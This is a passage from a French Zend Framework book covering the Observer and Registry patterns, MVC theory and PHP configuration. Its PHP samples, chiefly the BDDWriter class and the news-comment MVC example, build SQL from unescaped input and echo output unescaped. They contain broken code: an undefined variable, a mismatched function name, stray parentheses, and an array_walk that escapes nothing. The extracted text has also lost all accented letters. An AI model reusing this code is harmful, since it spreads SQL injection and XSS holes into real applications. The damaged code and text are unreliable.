Une classe observateur, pour lenregistrement des erreurs dans une base de donnes
class BDDWriter implements SplObserver { private $_pdo; private $_table; private $_col; public function __construct($host, $login, $pass, $dbname, $table, $col) { $this->_pdo = new PDO("mysql:host=$host;dbname=$dbname", $login, $pass); $this->_pdo->setAttribute( PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION); $this->_col = (string)$col; $this->_table = (string)$table; } public function update(SplSubject $errorHandler) { $this->_pdo->exec("INSERT INTO $this->_table(`$this->_col`) VALUES('{$errorHandler->getError()}')"); } }

Remarquez comme chacun des observateurs ne fait que recevoir une instance de ErrorHandler et en extraire le message derreur afin de lenregistrer. Notez aussi que chaque classe possde une responsabilit unique, ce qui en simplifie les tests unitaires et le dcouplage : il sera en effet trs simple de changer de base de donnes, ou bien dinhiber temporairement lenregistrement dans un fichier, par exemple.
Utilisation de lObservateur
<?php $errorHandler = new ErrorHandler; $fileWriter = new FileWriter(dirname(__FILE__).'/log')); $dbWriter = new BDDWriter('my-host', 'login', 'secret', 'exampledb', 'mytable', 'mycolumn'));

RENVOI Tests unitaires


Les tests unitaires sont abords lannexe H.

Groupe Eyrolles, 2008

377

D Design patterns

Zend Framework - Bien dvelopper en PHP

$errorHandler->attach($fileWriter) ->attach($dbWriter); set_error_handler(array($errorHandler, 'error'));

Il est possible dtendre les possibilits du systme. Lobjet FileWriter peut utiliser la gestion des flux PHP pour crire sur la sortie standard, par exemple, grce php://output. Nous pourrions crer tout type de support denregistrement : e-mail, LDAP, flux rseau et mme un simple tableau PHP.

Un Observateur/Sujet dans Zend Framework ?


Zend Framework utilise ce motif de diffrentes manires ; on le trouve plusieurs endroits du code. Par exemple, Zend_Log utilise le pattern Observateur pour envoyer les messages quil reoit ses observateurs chargs de les enregistrer (implmentation trs proche de notre exemple). Aussi, Zend_Controller_Front utilise le mme principe pour notifier ses plugins les vnements lis la redistribution et au traitement des requtes : preDispatch, postDispatch, etc.

Motif Registre
REMARQUE Registre singleton
Application immdiate du pattern Singleton : nous disons bien le Registre. Il est donc seul et, dans une application, il ne doit en exister (en gnral) quun seul, et toujours le mme. Un registre sera donc, souvent aussi, un singleton.

Le Registre est un motif de conception trs simple. Son but : servir de support de stockage dobjets, en vue de les partager entre les objets dun systme. titre de comparaison, pensez simplement un panier qui stockerait des instances et les ressortirait lorsquon les lui demande. Ce pattern est intressant dans la mesure o une classe peut avoir besoin ponctuellement dun objet dune autre classe. Plutt que de la lui passer via une mthode, la classe va simplement se servir dans le registre.

Exemple de motif Registre


Un design pattern Registre (singleton)
Figure D6
class Registre { private $_store = array(); private static $_instance; private function __construct() { }

Diagramme de classes du pattern Registre

378

Groupe Eyrolles, 2008

public static function getInstance() { if (is_null(self::$_instance)) { self::$_instance = new self; } return self::$_instance; } public function __set($label, $object) { if(!isset($this->_store[$label])) { $this->_store[$label] = $object; } } public function __unset($label) { if(isset($this->_store[$label])) { unset($this->_store[$label]); } } public function &__get($label) { if(isset($this->_store[$label])) { return $this->_store[$label]; } return false; } public function __isset($label) { return isset($this->_store[$label]); } }

Cette classe utilise bon escient les mthodes magiques de PHP, afin de proposer une interface plus conviviale de pilotage de son objet. Voyez plutt :
Utilisation du Registre
class Foo { public function bar() { return 'hello'; } } Registre::getInstance()->objetfoo = new Foo(); // ailleurs dans une classe, par exemple : echo Registre::getInstance()->foo->bar(); // affiche hello

ATTENTION Antipattern Registre


Attention, le Registre peut engendrer des catastrophes au niveau du couplage. En effet, si tous les objets sont stocks et utiliss partir du Registre, le couplage nest absolument plus matris, et la capacit maintenir lapplication seffondre srieusement.

Groupe Eyrolles, 2008

379

D Design patterns

Zend Framework - Bien dvelopper en PHP

Un Registre dans Zend Framework ?


Zend Framework propose un pattern Registre, disponible dans la classe Zend_Registry. Si vous observez son code source, vous verrez quil a t intelligemment construit en hritant ArrayObject, une classe de la SPL. Ceci est tout fait logique, car un registre tant un espace de stockage, lhritage est amplement justifi. Le Registre de Zend Framework va encore plus loin, en permettant de spcifier sa propre instance de registre. Si vous voulez voir un exemple de classe pas trop complexe, grant merveille les deux espaces que sont la classe (static, self...) et lobjet (new , $this...), alors analysez la source de Zend_Registry.

Et bien dautres encore...


Nous ne pouvons malheureusement pas tre exhaustifs dans ce chapitre, car les design patterns se comptent par dizaines et ont mme t organiss en familles. En voici juste un petit aperu : Les motifs crateurs : Fabrique abstraite ; Monteur ; Fabrique ; Prototype ; Singleton. Les motifs structuraux : Adaptateur ; Pont ; Objet composite ; Dcorateur ; Faade ; Poids-plume ; Proxy. Les motifs comportementaux : Chane de responsabilit ; Commande ; Interprteur ; Itrateur ; Mdiateur ; 380
Groupe Eyrolles, 2008

Mmento ; Observateur ; tat ; Stratgie ; Patron de mthode ; Visiteur.

Il existe de nombreux livres sur les design patterns, dont certains concernant PHP. Le Web regorge aussi dinformations leur sujet, citons par exemple : http://www.patternsforphp.com.

Groupe Eyrolles, 2008

381

D Design patterns

Le pattern MVC en thorie

E
SOMMAIRE

B Pourquoi utiliser MVC ?

Depuis plusieurs annes, nous entendons parler du modle MVC. Ce dernier existe depuis longtemps et a t invent avec le langage SmallTalk en 1979. Peu peu, il a t implment dans les problmes relatifs au Web, dans lesquels il trouve toute son utilit. MVC est un concept aujourdhui omniprsent dans le monde du dveloppement web.

B Le modle MVC de Zend


Framework MOTS-CLS

B Modle B Vue B Contrleurs B sparation logique B couches B routage B templates

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Model-View-Controller est un motif de conception (ou design pattern) qui permet de cadrer le dveloppement et la maintenance dune application. Il spare celle-ci en trois couches logiques distinctes : model (modle) : le rle de cette couche est de structurer les donnes et, dans une moindre mesure, de proposer une interface daccs. Le modle peut avoir un rle plus ou moins important suivant les besoins ; view (vue) : cette couche concerne toute la partie prsentation lutilisateur final, cest--dire laspect extrieur. La plupart du temps, la vue est accompagne dun moteur de templates ; controller (contrleur) : ce composant est le plus complexe saisir thoriquement. Il sagit de la logique de contrle qui va agir comme une glue entre les parties modle et vue. Il est responsable de la collecte des donnes externes, du traitement du modle, de la fusion avec la vue et de lenvoi de la rponse au client. Il nest pas rare que le contrleur soit lui-mme divis en sous-parties distinctes.
RENVOI MVC dans la pratique
La pratique du modle MVC de Zend Framework est largement dtaille aux chapitres 6 et 7.

Ce chapitre propose dentrer dans le monde du motif MVC en thorie. Dans Zend Framework, les composants Zend_Controller, Zend_View et Zend_Layout sont directement concerns par ce concept.

Pourquoi utiliser MVC ?


INFO MVC et autres langages
La pratique de MVC est trs classique dans dautres langages relatifs au Web, par exemple Rails pour Ruby, Struts pour Java (J2EE) ou encore Django pour Python.

Cette question est intressante pour les personnes ne possdant pas dexprience avec ce modle. En ralit, tout le monde utilise un modle MVC, et ceci en permanence. Cependant, il est possible de mlanger ses trois couches, et ainsi de ne pas les apercevoir. Un tel flou est trs courant en PHP, langage destin lorigine fusionner du code de traitement avec du code de prsentation de donnes.

Des avantages pour le travail en quipe


Utiliser un modle MVC offre lavantage de pouvoir sparer les rles de chaque personne au sein du projet : Le dveloppeur : il aura la charge de programmer la partie modle et les bibliothques. Il est comptent en PHP, sait interagir avec un SGBD, possde des notions de scurit au regard de la validation des donnes et pourra accessoirement participer ltape dintgration ou danalyse. Lintgrateur : il sagit de la personne ayant un regard global sur lapplication. Focalise sur le processus des contrleurs, elle saura faire le lien entre un modle et une vue, cest--dire btir une application cohrente partir des fonctionnalits et du design. 384
Groupe Eyrolles, 2008

Le designer : cette personne est trs laise avec les technologies (x)HTML, JavaScript, XML, CSS et tout ce qui touche au graphisme et lIHM sur le Web. Elle est responsable des templates (gabarits de prsentation) et du design graphique du projet. Elle naura pas se soucier de la provenance des donnes quelle mettra en page, et utilisera des donnes fictives pour prparer ses pages. Voici ce qui est gnralement constat. Il est maintenant possible de diviser ces rles autrement. Ce quil faut noter ici, cest que ce systme permet une rpartition bien organise de comptences htrognes autour dun mme projet. Chaque acteur pourra travailler en parallle, sans (trop) se soucier des aspects techniques qui ne le concernent pas. Par exemple, un intgrateur naura ni besoin dattendre quune base de donnes soit prte, ni quun template de prsentation dun formulaire soit termin : il pourra muler tout ceci pour travailler sur sa partie et fournir un travail compatible avec celui des autres parties.

Figure E1

Principe du pattern MVC

Des avantages pour le dveloppement et la maintenance


Nous pouvons attribuer dautres avantages MVC : La sparation des couches simplifie les mises jour : en effet, changer le design dune application web se rvle plus simple. On sait dj quil ne sera pas ncessaire deffectuer des mises jour lourdes, mais simplement une partie du code de la vue.

Groupe Eyrolles, 2008

385

E Le pattern MVC en thorie

Zend Framework - Bien dvelopper en PHP

Lorganisation du projet est plus cadre : un systme MVC fournit une architecture physique bien pense. Les fichiers et les rpertoires de lapplication doivent se trouver un endroit prcis, avec des noms prcis, et contenir un code organis dune certaine manire. Le dveloppement est mieux organis et il est plus facile de revenir dessus aprs une longue attente, ou de grer un projet de grande taille. Mais aussi quelques inconvnients : Une sparation logique qui implique un code trs rigoureux : pour un petit projet, il ne sera peut-tre pas utile davoir une implmentation MVC complte. De mme, pour un projet dont les performances et la stabilit sont stratgiques, un moteur MVC peut avoir un impact sur les performances, en particulier cause du nombre dobjets lev (mme si ces problmatiques trouvent aussi des solutions efficaces). Une configuration complmentaire : un moteur MVC, notamment la partie contrleur, possde une configuration qui permet de remodeler les URL, dtourner les mcanismes par dfaut, etc. force dexception il est possible de se retrouver avec un sac de nuds qui annule tout lintrt de MVC, cest--dire une organisation claire. Il est souvent ncessaire de bien comprendre le fonctionnement complet du modle utilis.

MVC schmatis
Voyons de manire plus pratique, le concept de MVC.

Une implmentation intuitive


Analysons le code suivant :
Code source dune toute petite application PHP
<?php $connect = mysql_connect('myserver', 'mylogin', 'mypassword'); mysql_select_db('myDB'); array_walk($_POST,'mysql_escape_string'); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $news_id = $_POST['news_id']; mysql_query("INSERT INTO commentaires SET news_id='$news_id', auteur='{$_POST['auteur']}', texte='{$_POST['texte']}', date=NOW()");

386

Groupe Eyrolles, 2008

header("location: ".htmlentities($_SERVER['PHP_SELF'])." ?news_id=$news_id"); exit; } else { $news_id = (int)$_GET['news_id']; } <html> <head> <title>Les news</title> </head> <body> <h1>Les news</h1> <div id="news"> <?php $news = mysql_fetch_array(mysql_query("SELECT * FROM news WHERE id='$news_id'")); ?> <h2><?php echo $news['titre']; ?> poste le <?php echo $news['date']; ?></h2> <p><?php echo $news['texte_nouvelle']; ?> </p> <?php $nbre_comment = mysql_num_rows( $comment_req = mysql_query( "SELECT * FROM commentaires WHERE news_id='$news_id'")); ?> <h3><?php echo $nbre_comment; ?> commentaires relatifs cette nouvelle :</h3> <?php while ($comment = mysql_fetch_array($comment_req)) { ?> <h3><?php echo $comment['auteur']; ?> a crit le <?php echo $comment['date']; ?></h3> <p><?php echo $comment['texte']; ?></p> <?php } ?> <form method="POST" action=" <?php echo htmlentities($_SERVER['PHP_SELF']); ?>" name="ajoutcomment"> <input type="hidden" name="news_id" value=" <?php echo $news_id; ?>"> <input type="text" name="auteur" value="Votre nom"><br /> <textarea name="texte" rows="5" cols="10"> Saisissez votre commentaire</textarea><br /> <input type="submit" name="submit" value="Envoyer"> </form> </div> </body> </html>

Ce code est un code MVC. Tout code est un code MVC, cependant celui-ci na pas t pens comme tel. En effet, les trois couches ne sont pas spares. Il nest pas possible de les distinguer clairement, mais elles sont bien prsentes. Il en rsulte ainsi : un mlange qui rend la comprhension du code difficile par une personne ny ayant pas particip ;
Groupe Eyrolles, 2008

387

E Le pattern MVC en thorie

Zend Framework - Bien dvelopper en PHP

des difficults normes de maintenance : sil faut changer le HTML pour du XML, cela peut prendre beaucoup de temps ; une testabilit rduite : il nest pas possible dcrire des tests efficaces, vrifiant un scnario ou un comportement prcis.

Limplmentation MVC

Figure E2

Schma gnral dun modle MVC

Afin darriver un schma tel que celui prsent sur la figure E-2, il est ncessaire de remanier le code. Nous allons ainsi faire apparatre distinctement ces trois couches :
Modle
<?php function dbconnect() { static $connect = null; if ($connect === null) { $connect = mysql_connect( 'myserver', 'mylogin', 'mypassword'); mysql_select_db('myDB'); } return $connect; } function get_news($id) { $news_req = mysql_query("SELECT * FROM news WHERE id='$news_id'",dbconnect()); return mysql_fetch_array($news_req); }

388

Groupe Eyrolles, 2008

function get_comment($news_id) { $comment_req = mysql_query("SELECT * FROM commentaires WHERE news_id='$news_id'",dbconnect()); $result = array(); while ($comment = mysql_fetch_array($comment_req)) { $result[] = $comment; } return $result; } function insert_comment($comment) { mysql_query("INSERT INTO commentaires SET news_id='{$comment['news_id']}', auteur ='{$comment['auteur'])}', texte ='{$comment['texte'])}', date=NOW()" ,dbconnect() ); }

Vue
<html> <head> <title>Les news</title> </head> <body> <h1>Les news</h1> <div id="news"> <h2><?php echo $news['titre'] ?> poste le <?php echo $news['date'] ?></h2> <p><?php echo $news['texte_nouvelle'] ?> </p> <h3><?php echo $nbre_comment ?> commentaires relatifs cette nouvelle</h3> <?php foreach ($comments AS $comment) {?> <h3><?php echo $comment['auteur'] ?> a crit le <?php echo $comment['date'] ?></h3> <p><?php echo $comment['texte'] ?></p> <?php } ?> <form method="POST" action="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>" name="ajoutcomment"> <input type="hidden" name="news_id" value="<?php echo $news_id?>"> <input type="text" name="auteur" value="Votre nom"><br /> <textarea name="texte" rows="5" cols="10"> Saisissez votre commentaire</textarea><br /> <input type="submit" name="submit" value="Envoyer"> </form> </div> </body> </html>

Groupe Eyrolles, 2008

389

E Le pattern MVC en thorie

Zend Framework - Bien dvelopper en PHP

Contrleur
<?php require ('mymodel.php'); if ($_SERVER['REQUEST_METHOD'] == 'POST') { array_walk($_POST,'mysql_escape_string'); insert_comment($_POST); header("HTTP/1.1 301 Moved Permanently"); header("location: {htmlentities({$_SERVER['PHP_SELF']})}? news_id={$_POST['news_id']}"); exit; } else { $news = get_news((int)$_GET['news_id']); $comments = get_comments((int)$_GET['news_id']); require ('myview.php'); }

Ce code effectue les mmes oprations que dans lexemple prcdent, mais il a simplement t crit dune autre manire. Celle-ci permet de mettre en vidence les trois couches logiques dun modle MVC. On apprcie immdiatement le fait que lon puisse tester chaque couche indpendamment de lautre, de la mme manire que trois personnes distinctes pourront travailler chacune sur sa partie. Bien quil soit plus flexible, le modle simpliste montr ci-dessus va rapidement prsenter des limites dans un contexte plus gnral : changer de SGBD nest pas simple ; des redondances vont apparatre dans le modle : slections, insertions, mises jour, suppressions (ces quatre oprations de base, trs redondantes, sont appeles CRUD Create, Read, Update, Delete) ; des redondances entre les contrleurs vont apparatre : filtrage des donnes dentre, traitements avec le modle, ncessit dune authentification ventuelle, dmarrage de la session... ; des redondances vont apparatre dans les vues : elles devraient en gnral tre intgres dans une vue plus gnrale reprsentant le reste du site.

Et les bibliothques ?
Pour terminer sur cette partie pratique, nous devons avoir en tte un dernier point important considrer pour larchitecture de toute application : La partie MVC de lapplication lui est fortement spcifique. Si vous devez faire une autre application, vous repartirez souvent de zro ou dupliquerez lexistant pour le remanier, sauf si vous prenez la peine de mticuleusement refondre le code au fur et mesure de vos projets, ce qui est bien entendu conseill, voire indispensable (dveloppement par itration). 390
Groupe Eyrolles, 2008

Les bibliothques ne concernent pas MVC et sont quant elles fortement gnriques. Il sagit dune couche infrieure la couche MVC, qui fournit des fonctionnalits pratiques que lon peut utiliser dans nimporte quelle application. Vous lavez compris, les bibliothques sont faites pour tre rutilises. Il est parfois intressant, lorsque lon souhaite mettre en place un mcanisme gnrique tel que la gestion des utilisateurs, par exemple, de dvelopper sa propre bibliothque utiliser dans plusieurs applications en mme temps. Nous abordons ce sujet plus prcisment dans le chapitre 6 de cet ouvrage, consacr Zend_Controller.

Groupe Eyrolles, 2008

391

E Le pattern MVC en thorie

Comment fonctionne PHP ?

F
SOMMAIRE

B Comprendre la composition

Il est parfaitement possible de conduire une voiture sans connatre sa mcanique interne. Quest-ce que cela apporterait de plus ? Les passionns de lautomobile vous le diront, on ne conduit pas de la mme manire quand, chaque fois quon sollicite une pdale ou un lment du tableau de bord, on sait ce qui se passe lintrieur. On entretient galement diffremment sa voiture, et on peut loptimiser pour en obtenir de meilleures performances. PHP est ainsi la voiture du dveloppeur web.

et lenvironnement de PHP

B Optimiser ses dveloppements


grce ces connaissances MOTS-CLS

B PHP B SAPI B extension B HTTP B opcode B compilation B interprtation

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Cette annexe a pour objectif de vous faire connatre PHP davantage quen surface. Nous allons aborder de manire simple le fonctionnement interne et lenvironnement logiciel qui entoure PHP. Ces connaissances vont vous permettre dexploiter efficacement tout le potentiel de PHP, en termes de dveloppement et de maintenance.

PHP, quest-ce que cest ?


PHP est un programme qui a sduit des millions de dveloppeurs. La manire dont il a t dvelopp est en partie responsable de cette popularit. Voici quelques caractristiques stratgiques de PHP : PHP est souple et permissif, il propose un confort dutilisation ingal, alors que dautres langages ncessitent beaucoup de rigueur et de connaissances thoriques ; PHP fonctionne aussi bien indpendamment quen couple : on peut utiliser lexcutable PHP tout seul, ou lemployer travers un autre excutable, tel quApache ; PHP est facilement extensible, il accepte de multiples fonctionnalits travers son systme dextensions. Cela augmente le nombre de classes et de fonctions natives disponibles, donc de fonctionnalits possibles ; PHP est optimis pour conomiser des ressources, que ce soit celles de la machine ou celles du dveloppeur. Cela augmente les performances de la machine... et du dveloppeur.

T Apache

Le serveur HTTP Apache est trs rpandu et fonctionne souvent de pair avec PHP. Celui-ci a pour rle de livrer les pages web et les mdias (images, sons, etc.) au visiteur. Il est en communication directe avec le navigateur du client (Firefox, Internet Explorer, Opra...).

Principe de fonctionnement
Comme nous le disions, PHP peut fonctionner de manire autonome ou coupl un autre programme. Le plus frquemment, PHP est associ un serveur HTTP comme Apache. Ce dernier gre la couche web de lensemble, cest--dire les interactions avec les visiteurs, via le protocole HTTP, tandis que PHP gre la couche dynamique, cest--dire la gnration du code (x)HTML et la gestion des donnes utilisateurs.

Utilisation autonome
Ce type dutilisation est le plus simple. Il consiste simplement, comme illustr sur la figure F-1, utiliser un excutable (php.exe sous Windows, php sous Unix/Linux) pour excuter du code PHP.

394

Groupe Eyrolles, 2008

Figure F1

Les deux utilisations les plus courantes de PHP

Pour ce mode autonome, on parle aussi dutilisation en ligne de commande (ou utilisation CLI), car cest bien souvent laide dun terminal, en ligne de commande, que lon excute des scripts PHP. Si vous navez jamais utilis PHP de cette manire, vous pouvez exprimenter cela trs simplement. Il vous suffit de crer un fichier contenant du code PHP, tel que le montre cet exemple :
Fichier test_cli.php
<?php print_r($_SERVER['argv']);

Sous Windows, reprez lemplacement de lexcutable php.exe et ouvrez une invite de commandes cet endroit. Sous Unix/Linux, par dfaut, lexcutable php est accessible partout.
Excution sous Windows
$ php.exe C:\chemin\vers\test_cli.php // affiche : Array ( [0] => test_cli.php ) $ php.exe C:\chemin\vers\test_cli.php

Groupe Eyrolles, 2008

395

F Comment fonctionne PHP ?

Zend Framework - Bien dvelopper en PHP

// affiche Array ( [0] => [1] => [2] => [3] => )

test_cli.php 1 2 bonjour le monde

Excution sous UNIX/Linux


$ php test_cli.php // affiche : Array ( [0] => test_cli.php ) $ php test_cli.php

REMARQUE Threads et forks


PHP ne sait pas grer nativement les threads (des extensions non stables proposent cette fonctionnalit). En revanche, sous Unix/Linux, PHP sait grer les processus et notamment le fork via des fonctions comme pcntl_fork(). Ceci peut savrer intressant pour crer des applications excutant plusieurs tches simultanment, comme de la compression dimage par exemple.

// affiche Array ( [0] => [1] => [2] => [3] => )

test_cli.php 1 2 bonjour le monde

PHP permet daccder aux variables denvironnement du systme dexploitation et de la console. Il est galement possible daccder des donnes passes en argument, comme le montrent les exemples prcdents. On peut utiliser PHP en ligne de commande pour faire des scripts de maintenance, des services (ou dmons) et tout type dapplication utilisable de cette manire, que lon peut galement dvelopper avec bash ou Perl.

Utilisation avec un serveur HTTP


Il sagit de lutilisation la plus courante de PHP. Cest grce ce couplage, illustr sur la figure F-1, que lon peut crer des applications spcialises pour le Web. Le serveur HTTP est souvent lapplication Apache, mais vous pouvez lier PHP dautres serveurs, tels que IIS, Caudium, Zeus, bref quasiment tous les serveurs HTTP disponibles. Il est possible, avec PHP, daccder lenvironnement du serveur HTTP, cest--dire des variables qui contiennent des informations utiles pour un site web : la requte effectue (QUERY_STRING), les paramtres de 396
Groupe Eyrolles, 2008

formulaires ($_GET, $_POST) ou encore des informations sur le visiteur. On utilise pour cela les superglobales $_SERVER et $_ENV. Le rle du serveur HTTP est de transmettre la requte PHP, dans un premier temps, puis de renvoyer le rsultat gnr par PHP ou une page statique dans un second temps. Cela parat simple, mais un serveur HTTP est souvent une machine complexe qui doit assurer un minimum de scurit entre PHP et lextrieur, sadapter au protocole HTTP, faire de la cryptographie ou encore de la compression de donnes en temps rel. PHP reoit les donnes du serveur HTTP, les traite, et les retransmet. Lorsque linstruction echo est utilise dans PHP, les donnes sont expdies au serveur HTTP (via un buffer) qui les transmet au client.

CONSEIL tudiez un serveur web


tudier un serveur web, comme le permet le projet open source Apache, est trs instructif plus dun titre. Aussi, tudier la nature des changes quil ralise avec PHP pendant son fonctionnement permet de mieux apprhender le fonctionnement du couple et de prendre des mesures en consquence.

IMPORTANT Optimisation du serveur web


Optimiser le serveur web sans parler PHP donc est une des premires tapes doptimisation du temps de rponse dune application web. Ceci se dcompose en tapes, certaines simples, dautres plus complexes, qui sortent du cadre de cet ouvrage.

Composition
Il est temps ici de se pencher sur la mcanique interne de PHP. Nous nirons pas jusqu dtailler lensemble des composants lmentaires qui constituent PHP, mais au moins les principaux.

Figure F2

La composition interne de PHP

La figure F-2 illustre de manire simplifie les principaux composants dun excutable PHP. Le Zend Core est au cur de lexcutable PHP. Cest ce composant qui gre les ressources primaires telles que la mmoire et les traitements bas niveau comme lexcution du code compil. Il est entre autres directement responsable des performances de PHP. Le PHP Core est un composant un peu plus haut niveau, qui fournit les fonctionnalits de base (instructions telles que echo, print) et gre lenvironnement de PHP.
Groupe Eyrolles, 2008

397

F Comment fonctionne PHP ?

Zend Framework - Bien dvelopper en PHP

La couche SAPI est une interface utile pour les dveloppeurs. Cest grce elle que lon peut crer des extensions, lier PHP avec dautres programmes ou proposer des interactions rapides (couplage fort). Elle fournit des outils pour accder au PHP Core et au Zend Core. Les extensions peuvent tre compiles dans PHP ou lextrieur. On parle de bibliothques statiques et dynamiques. Elles fournissent des fonctionnalits complmentaires PHP : classes, fonctions, variables et constantes. Les extensions usuelles sont documentes sur le site officiel de PHP. Le serveur web peut tre li PHP de diffrentes manires. Soit PHP est une extension du serveur (car PHP peut tre lui aussi une bibliothque statique ou dynamique pour Apache), soit le serveur HTTP utilise linterprteur PHP en mode CGI, tel quil est frquent de le faire avec Perl. Voil, nous savons maintenant que lorsque nous sollicitons PHP, la requte est compile par PHP Core et Zend Core, puis excute avec dventuelles sollicitations dextensions.

Environnement
Pour pouvoir fonctionner correctement, PHP doit tre accompagn dun environnement adapt. Nous appelons environnement lensemble des logiciels qui interagissent de prs ou de loin avec notre langage. Les caractristiques de cet environnement sont pour la plupart accessibles dans PHP et peuvent galement modifier le comportement de notre langage. Parmi ces logiciels, nous pouvons citer : le systme dexploitation : son type (Unix/Windows), sa configuration (locale, types MIME, jeux de caractres, systme de fichiers, variables denvironnement etc.), son comportement interne (noyau, compilateurs, etc.) ; les extensions : leurs caractristiques (fonctionnalits, versions), leurs configurations (directives dans php.ini, directives de compilation), leur nombre et leur type dassociation PHP (statique ou dynamique) ; le support direct : son type (serveur HTTP, ligne de commandes, gestionnaire graphique gtk), sa configuration, sa liaison avec PHP (statique ou dynamique), ses variables denvironnement, etc. ; les programmes et services disponibles sur le systme dexploitation : le serveur proxy, les commandes disponibles, les dmons et leurs protocoles (LDAP, FTP, SSH, etc.).

398

Groupe Eyrolles, 2008

Toutes ces entits peuvent avoir un impact plus ou moins important sur le comportement de PHP, notamment : le contenu des superglobales $_SERVER et $_ENV ; le comportement de certaines extensions (date et heure, etc.) ; la scurit (commandes et ressources disponibles, fragilit du systme, etc.) ; la disponibilit de certaines fonctions (Windows propose COM, mais Unix propose plus de fonctions relatives POSIX).

Conseils pour paramtrer son environnement


Ces quelques rgles de principe vous seront utiles pour optimiser lenvironnement de PHP, donc ses performances et sa stabilit. Paramtrer lenvironnement est un travail notamment trs important en production. Limiter au ncessaire : plus un environnement est encombr de programmes et de fichiers inutiles, plus il est vulnrable et potentiellement instable. Dautre part, la scurit gnrale du serveur peut tre altre par la prsence des dmons qui coutent inutilement des ports de votre machine, les programmes dangereux que lon peut appeler avec les fonctions exec() ou system() et ainsi de suite. Adopter des standards : il vous sera plus facile dvoluer dans un environnement comportant des jeux de caractres universels, des protocoles largement utiliss et des formats de fichiers lisibles. Des organismes de normalisation ont pour responsabilit de proposer ces standards (Oasis, W3C). Blinder les accs : nous pourrions faire tourner PHP avec le super-utilisateur (root sous Unix), cela serait trs pratique. En revanche, cest un problme vident pour la scurit. Un systme dexploitation, notamment le systme de fichiers, se paramtre de manire ce que toute action de PHP soit non fatale pour le serveur. Compiler sparment : compiler ses programmes, tels que PHP et Apache, peut tre bnfique pour assurer plus de stabilit et de performance. En revanche, laccs un environnement de compilation nest pas sr dun point de vue scurit. Ne donnez pas accs aux compilateurs nimporte qui. Pour bien faire, certaines entreprises ont un serveur ddi la compilation ; les programmes une fois compils sont expdis sur les serveurs de production. La compilation permet dj dliminer ce qui ne vous plat pas dans le programme, mais aussi den tirer un binaire, le plus lger possible, dans lequel les extensions trs utilises seront fusionnes (on parle de compilation de module en statique ). Il en rsulte un gain des performances gnrales peu important mais toujours bon prendre (en moyenne 5 %).
Groupe Eyrolles, 2008

399

F Comment fonctionne PHP ?

Zend Framework - Bien dvelopper en PHP

Soyez organis ds le dpart : savoir o ranger ses fichiers de configuration, les logs, les fichiers temporaires, les bases de donnes et tous ces dtails qui peuvent prendre beaucoup de place, est important. Cela facilite la maintenance et la matrise globale du systme.

Paramtrer le fichier php.ini


Nous allons dtailler quelques directives du fichier php.ini pour un environnement de dveloppement Zend Framework optimal. Accessoirement, nous donnerons quelques conseils pour la production, mme si la configuration de celle-ci reste un problme complexe. zend.ze1_compatibility_mode = off, passer cette directive on provoquera le basculement du comportement objet de PHP vers PHP 4, ce qui bien entendu est impensable. short_open_tag = off, la convenance. Certaines personnes aiment utiliser <? ou encore <?= dans les vues, dautres non. Nous prfrons la valeur off afin dtre srs que le script peut tourner sur tout serveur. Zend_View propose des options ce sujet. output_buffering = off, en dveloppement, mieux vaut un buffer de sortie, comme cela toute fuite den-tte Apache sera dtecte facilement. Si le tampon est activ, les en-ttes sont placs en mmoire tampon et mis dans lordre par PHP. Les bonnes pratiques recommandent vraiment de grer son flux HTTP manuellement. En production, il faut un tampon pour des raisons de performance, et une valeur de 4096 (ou plus si besoin) est convenable. De fins rglages avec les buffers Apache et TCP permettent mme de soulager lgrement une machine dj essouffle. allow_call_time_pass_reference = off, le Zend Engine 2 de PHP 5 est capable deffectuer des optimisations lexcution lorsque les fonctions utilisent des rfrences dans leurs dclarations plutt qu lappel de la fonction. Laissez cette valeur sur off, afin que toute fausse manipulation vous soit notifie par une erreur. safe_mode = off, le safe mode est dprci. Zend Framework ne fonctionnera pas convenablement ou mme pas du tout si celui-ci est activ. open_basedir = , dsactiv. Peut tre intressant en production pour une meilleure scurit, mme si celle-ci doit tre assure par lOS ce niveau (et un code convenable aussi). Attention si vous lutilisez : Zend Framework devra alors avoir accs tous les dossiers dont vous avez besoin.

400

Groupe Eyrolles, 2008

max_execution_time = 7 , non, nous nallons pas vous donner de valeur correcte, car chacun trouvera la sienne. Plus srieusement, un script ne doit pas prendre sept secondes sexcuter... Mais en dveloppement on peut rencontrer quelques situations ncessitant une valeur plus leve. Rappelez-vous en production : plus vous donnez de temps un pirate potentiel, plus il entrera facilement. error_reporting = E_ALL | E_STRICT, toutes les erreurs doivent tre signales, en dveloppement comme en production. display_errors = on, en dveloppement, mais off en production. Il ne faut pas afficher derreurs PHP lutilisateur (ou au pirate). log_errors = off, en dveloppement cest comme on le souhaite. En production, les erreurs doivent tre listes dans un journal propre. track_errors = on, Zend Framework utilise $php_errormsg pour convertir certaines erreurs PHP en exceptions. Laisser cette option on vitera des appels ini_set() inutiles. register_globals = off, nul besoin de variables globales, cette directive est off par dfaut et devrait le rester. register_long_arrays = off, par dfaut off, et devrait le rester pour des raisons de performance. magic_quotes_gpc = off, Zend Framework soccupe souvent des caractres dchappement pour les requtes SQL notre place. Laissez cette directive off : vous obtiendrez un gain de performances, et naurez pas de surprises sur les variables dentre GPC. auto_prepend_file = , il peut tre intressant dinsrer un fichier dans cette directive comportant les directives dautoload de Zend Framework. always_populate_raw_post_data = off, si vous utilisez PHP<5.2.3 avec Zend_Soap, activez cette option. include_path = path/to/zf, le Zend Framework devrait figurer en premier dans cette liste. Les appels linclude_path sont squentiels, et la grande majorit des fichiers chargs par une application sont des classes Zend. Les performances en seront amliores. allow_url_fopen = on, si vous voulez consommer des services web, ou vous connecter sur une machine externe, il vaut mieux passer cette option on au risque de se voir refuser des connexions externes. allow_url_include = off, pour des raisons de scurit. date.timezone = "Europe/Paris", ou le fuseau horaire de votre machine. Sans timezone, Zend_Date fonctionnera mal et retournera des erreurs PHP.

Groupe Eyrolles, 2008

401

F Comment fonctionne PHP ?

Zend Framework - Bien dvelopper en PHP

Comment optimiser PHP ?


Il est possible doptimiser lexcution de PHP. Bien sr ces oprations ne peuvent se substituer un code lent, notamment si cest d des requtes SQL ou des processus indpendants des performances natives de PHP.
T Opcode

Les opcodes sont des instructions de bas niveau, proches des instructions du microprocesseur, rsultant de la compilation dun code PHP. Une fois gnrs, les opcodes sont excuts par un composant interne appel Zend Executor.

